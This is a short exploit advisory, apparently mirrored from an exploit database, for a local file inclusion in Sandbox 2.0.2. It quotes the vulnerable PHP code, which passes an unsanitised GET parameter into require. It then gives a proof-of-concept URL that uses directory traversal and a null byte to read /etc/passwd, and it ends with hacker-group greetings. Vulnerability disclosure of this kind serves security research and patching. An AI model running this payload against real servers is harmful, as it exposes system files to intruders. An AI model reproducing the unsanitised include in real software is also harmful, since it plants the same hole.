Sandbox 2.0.2 – Local File Inclusion - 体验盒子

作者： saudi0hacker

日期： 2010-07-04

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

: # Tested on: Linux os:

: # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :

----------------------------------------------------------------------------

[+] file:index.php on line 75

[+] Code:

<?

else {

$module = $_GET['a'];

}

require 'modules/'. $module . '.php';

?>

[+] PoC:http://localhost/index.php?a=../../../../../etc/passwd%00